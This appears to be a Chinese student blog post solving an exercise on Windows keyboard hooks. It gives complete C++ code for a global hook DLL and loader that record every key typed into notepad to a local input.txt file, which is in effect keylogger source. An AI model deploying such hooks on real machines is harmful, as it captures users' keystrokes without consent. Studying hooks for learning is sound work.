键盘消息钩取学习

键盘消息钩取学习

题目:修改 HookDll.cpp,钩取对 notepad 的输入,使得:
a) 输入文本仍能正常显示
b) 所有输入文本能够记录到 input.txt 文件中


编译环境

两份代码均为vs2019 Debug x64模式编译


题目分析

即首先修改HookDll.cpp,生成一个Dll文件,在编写一个cpp文件,从生成的dll导入HookStart和HookStop两个函数,实现键盘钩子


题目注意事项

因为notepad是64位,32位的钩子无法钩取64位notepad的消息,所以dll和另一个cpp文件都需要是64位,如果出现32位的cpp文件和64位dll文件等混用情况,会报出内存冲突错误
dll名字要写对,否则会读取失败,注意大小写
因为读取的是虚拟按键,所以字母统一钩取的为大写字母
小键盘和数字键盘虚拟按键不一样,小键盘读取的是小写字母


未修改版HookDll.cpp源码

HookDll.cpp源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include "windows.h"
#include "tchar.h"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
}
return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;

if( nCode >= 0 ) {
if( !(lParam & 0x80000000) ){ //lParam的第31位(0:按键;1:释放键)
GetModuleFileName(NULL, szPath, MAX_PATH);
p = _tcsrchr(szPath, _T('\\'));
//若装载当前DLL的进程为notepad.exe,则消息不会传递给下一个钩子
if( !lstrcmpi(p + 1, _T("notepad.exe")) )
return 1;
}
}
// 当前进程不是notepad.exe,将消息传递给下一个钩子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HkStart() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}

__declspec(dllexport) void HkStop() {
if( g_hHook ) {
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif


题目代码

HookDll.cpp(编译出Dll文件的代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include "stdio.h"
#include "windows.h"

//定义目标进程名为notepad.exe
#define DEF_PROCESS_NAME "notepad.exe"

//定义全局变量
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;

//DllMain()函数在DLL被加载到进程后会自动执行
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
//当DLLMain处理DLL_PROCESS_ATTACH时,DLLMain函数的返回值表示DLL的初始化是否成功。成功返回TRUE,否则返回FALSE。
g_hInstance = hinstDLL;
break;

case DLL_PROCESS_DETACH:
//当DLL处理DLL_PROCESS_DETACH时,DLL应该处理与进程相关的清理操作。
break;
}
return TRUE;
}
//
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
char szPath[MAX_PATH] = { 0, };
char* p = NULL;
if (nCode >= 0) {//nCode是一个钩子标识码,钩子过程会利用它决定下一步的进行的操作。这个标识嘛的值与安装的钩子类型相关
if (!(lParam & 0x80000000)) {//if(lParam&0x80000000),键按下,else,键弹起
//键弹起的时候
GetModuleFileNameA(NULL, szPath, MAX_PATH);//获取当前程序运行的绝对路径
p = strrchr(szPath, '\\');//获取在路径中最右边的\\出现的位置
if (!_stricmp(p + 1, DEF_PROCESS_NAME)) {//此处比较是否是notepad.exe
char c =wParam;//获取消息
FILE* fp = fopen("C:\\Users\\dell\\Desktop\\input.txt", "a+");
fwrite(&c, 1, 1,fp);
fclose(fp);
CallNextHookEx(g_hHook, nCode, wParam, lParam);//传递给之后的钩子或者应用程序,保证消息不被拦截,实现正常输入
}
}
}
//比较当前进程名称,若非notepad.exe,则消息传递给应用程序或下一个钩子函数
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
//__cplusplus是cpp中的自定义宏,定义了这个宏的说明此代码是cpp代码,加入extern "C"{...}会以C语言方式处理其中的代码。因为C++支持重载等高级特性
//如果不以C语言方式编译,容易报错
#ifdef __cplusplus
extern "C" {
#endif
//__declspec,针对编译器的关键字,用于指出导出函数
__declspec(dllexport) void HookStart() {
//SetWindowsHookEx()函数就会将KeyboardProc()添加到键盘钩链
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HookStop() {
if (g_hHook) {
//卸载钩子
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif

Maincpp,为了读取Dll中的函数,实现让用户决定是否继续钩取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <conio.h>
#include <windows.h>

#define DEF_DLL_NAME "HookDll.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

int main()
{
HMODULE hDll=NULL;
PFN_HOOKSTART HookStart=NULL;
PFN_HOOKSTOP HookStop=NULL;
char ch=0;

//加载KeyHook.dll
hDll=LoadLibraryA(DEF_DLL_NAME);

//获取导出函数地址
HookStart=(PFN_HOOKSTART)GetProcAddress(hDll,DEF_HOOKSTART);
HookStop=(PFN_HOOKSTART)GetProcAddress(hDll,DEF_HOOKSTOP);

//开始钩取
HookStart();

//等待直到用户输入“q”
printf("press 'q' to quit!\n");
while(_getch()!='q');

//终止钩取
HookStop();

//卸载KeyHook.dll
FreeLibrary(hDll);
return 0;
}

文章目录
  1. 1. 键盘消息钩取学习
    1. 1.1. 编译环境
    2. 1.2. 题目分析
    3. 1.3. 题目注意事项
    4. 1.4. 未修改版HookDll.cpp源码
    5. 1.5. 题目代码
,